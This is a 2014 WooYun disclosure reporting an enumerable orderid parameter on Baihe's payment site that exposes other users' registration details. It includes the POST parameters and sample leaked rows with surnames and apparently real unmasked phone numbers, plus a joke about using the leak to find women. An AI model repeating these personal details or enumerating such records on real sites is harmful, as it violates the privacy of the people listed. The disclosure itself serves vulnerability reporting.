漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-054592
漏洞标题：百合网注册信息泄漏之手机、邮箱、QQ
相关厂商：百合网
漏洞作者： sadn3s
提交时间：2014-03-26 10:38
修复时间：2014-05-10 10:39
公开时间：2014-05-10 10:39
漏洞类型：敏感信息泄露
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-03-26： 细节已通知厂商并且等待厂商处理中
2014-03-27： 厂商已经确认，细节仅向厂商公开
2014-04-06： 细节向核心白帽子及相关领域专家公开
2014-04-16： 细节向普通白帽子公开
2014-04-26： 细节向实习白帽子公开
2014-05-10： 细节向公众公开
简要描述：
百合网用户的注册信息一览无余，里面有手机，邮箱，QQ什么的都很全啊，这下找妹子可方便多了(￣▽￣)，下期预告《珍爱网注册信息泄漏之手机》
详细说明：
payment.baihe.com
POST数据里的orderid越权了，可以遍历
servicecode=&otherPayFlag=&oppId=null&oppUserName=null&payparams=&returnurl=&paycount=&userID=马赛克&orderid=马赛克&cookie_useremail=null&insignCode=pay_3&bankCode=马赛克&alipaySignFlag=null&orderSource=&focusstarparams=&price=&sign=
漏洞证明：
返回数据：
UID/姓名/手机号/城市代码/邮箱
69549833 罗先生 15951835706 863201 [email protected]
59978727 邱女士 15228858678 865101 [email protected]
77501855 蔡先生 13818143139 863109 [email protected]
87828462 李先生 13934369314 861411 [email protected]
...
管理员请打马赛克
修复方案：
略
版权声明：转载请注明来源 sadn3s@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-03-27 18:06
厂商回复：
27号下午，我们已经开始修复此次用户敏感信息漏洞。感谢各位白帽子对百合网的关注。谢谢各位！
最新状态：
暂无